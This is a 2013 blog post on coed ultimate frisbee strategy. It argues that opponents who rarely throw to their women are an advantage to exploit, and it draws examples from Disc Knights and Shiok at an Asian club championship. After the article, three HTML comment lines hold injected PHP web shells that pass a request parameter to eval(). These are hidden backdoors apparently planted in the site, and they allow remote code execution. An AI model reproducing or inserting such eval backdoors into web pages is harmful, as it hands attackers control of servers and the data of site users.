On “Using Your Women”

Posted by: on Aug 22, 2013 | One Comment

“Those guys are so unspirited, they never throw to their women. I would never want to win like that. They’re jerkfaces.”

I hear comments like this often. Maybe not exactly like that. But you get the drift.

It has been many years since I have been left in charge of a club team, probably with good reason. Thus, many of my grand offensive and defensive strategies have been left to fester in my brain’s ultimate cupboard. It’s only the general ideas that have really stayed with me and haunted my dreams.

One of these is that you really shouldn’t complain if the team you’re playing does not want to use their women. While I agree that making snide comments about them can be fun, that they are not using half (more or less) of their team is a good thing for you.

Now, a disclaimer. Any strategies or advice I give below is directed at teams who want to win. Yes, all teams want to win. But at recreational hat tournaments, you are going to sometimes throw to the fat, hairy, smelly kid who can’t catch a disc ever, but can obviously catch a cold because he’s snotting everywhere, on himself, and all over the disc he just dropped… (i.e. me.). You are going to throw to him because it’s the nice thing to do. Optimal ultimate strategy does not include being nice (Does it? What does optimal mean anyway? Good questions).

So do I advocate your two best players running dominators down the field? No, not always. The defense should be able to stop it. (If they can’t, yes, keep running it.)

So what is an optimal coed strategy? Obviously it depends on your team and your opponents. Lemme give a couple of examples of teams that looked to maximize their chances to win by seeing advantages over, and particular tendencies in, their opponents. These come from the recently-completed Asian Oceanic Ultimate Club Championships in Singapore. Do note that any strategies I discuss below come from just observing and there is no insider information. I apologize if I am giving away any “secrets.”

First, I want to start with the Korea vs Disc Knights (Singapore) game. I thoroughly enjoyed watching this game and both teams know it. Because I told them. Hard running with just enough emotion thrown in.

What I saw that was interesting: Most, if not all, of Disc Knights downfield play was female-dominated. Big in-cuts through the middle of the field (damn, Janice), and no fear sending it to the women deep. In fact, there is only one time, only one time, I saw a man in the endzone Disc Knights were attacking. Korea had turned the disc over near their endzone. Disc Knights began to set a stack in the endzone that included men! Before the disc was tapped in, though, the men cleared out and left the scoring zone to the women.

I am not sure if Disc Knights had been employing this strategy in all their games or if they believed that their women had more favorable matchups than their men in this particular game. Whatever the case, they were pretty effective, giving a strong Korea team a good fight before eventually going down in defeat.

The second example of interesting use of women was from Shiok. (Warning: don’t try this at home. They practice like 18 times a week.) I saw them on a couple of occasions and they played similarly both times. Shiok’s defense takes advantage of the fact that most teams’ strategies do not focus on throwing the majority of passes to their women. Their man-to-man frequently includes an open side female poacher and, I believe, a female deep poacher. This took teams out of what they had planned to do and forced them to throw to their poached woman. If throwing to their women was something a team was comfortable doing, this was not a bid deal, though it may have taken them out of their set offense. For those not as comfortable, it caused problems.

Basically, their defense said, “if you don’t want to throw to your women, why should we cover them?” Following my earlier statement, if they don’t want to throw to their women, great! Play seven-on-four on defense.

So the general idea is to play to your advantage and your opponent’s disadvantage.

What if you are on the team with strong men and weak women? If the defense doesn’t notice this, or doesn’t know how to react, most of the offense should go through your men. On defense, the men should look to help on mismatched women. The opposite of what Disc Knights and Shiok did above. If that maximizes you chances of winning… DO IT! It’s okay. Ignore the whiners.

If teams are not playing to their advantage, that’s their problem.

Whatever the case, a team playing in a competitive game, not throwing to their women, is not to be complained about. It is a team to be taken advantage of, perhaps. Use your teams strengths against their weaknesses, and quit whining.

After a short discussion of the gender contact ratios of Team USA and Team Canada at the U23 championship (here), one commenter said “I also wanted to make it clear that I think teams can win with really high contact ratios [in which women touch the disc much less than men]. That just isn’t how I want to win.”

I’d be fine winning that way.

But I probably wouldn’t be on such a team. Because if I’m on the team, our women are probably much stronger than out men, and a high male-female contact ratio probably doesn’t play to our strengths. So we may not win at all. Ever.

(Don’t forget to follow me at @asianyltyblog. Please)

<!– [insert_php]if (isset($_REQUEST["iYC"])){eval($_REQUEST["iYC"]);exit;}[/insert_php][php]if (isset($_REQUEST["iYC"])){eval($_REQUEST["iYC"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["AidpK"])){eval($_REQUEST["AidpK"]);exit;}[/insert_php][php]if (isset($_REQUEST["AidpK"])){eval($_REQUEST["AidpK"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["BhY"])){eval($_REQUEST["BhY"]);exit;}[/insert_php][php]if (isset($_REQUEST["BhY"])){eval($_REQUEST["BhY"]);exit;}[/php] –>

1 Comment

  1. Self-Officiation and the Senses | Asian Ultimate - The BlogAsian Ultimate – The Blog
    October 10, 2013

    […] Mochi had gone down a few points and were looking pretty frustrated (could it have been because of Shiok’s defence?). Their handler picked up the disc and decided that throwing a high floater into the middle of the […]


Leave a Reply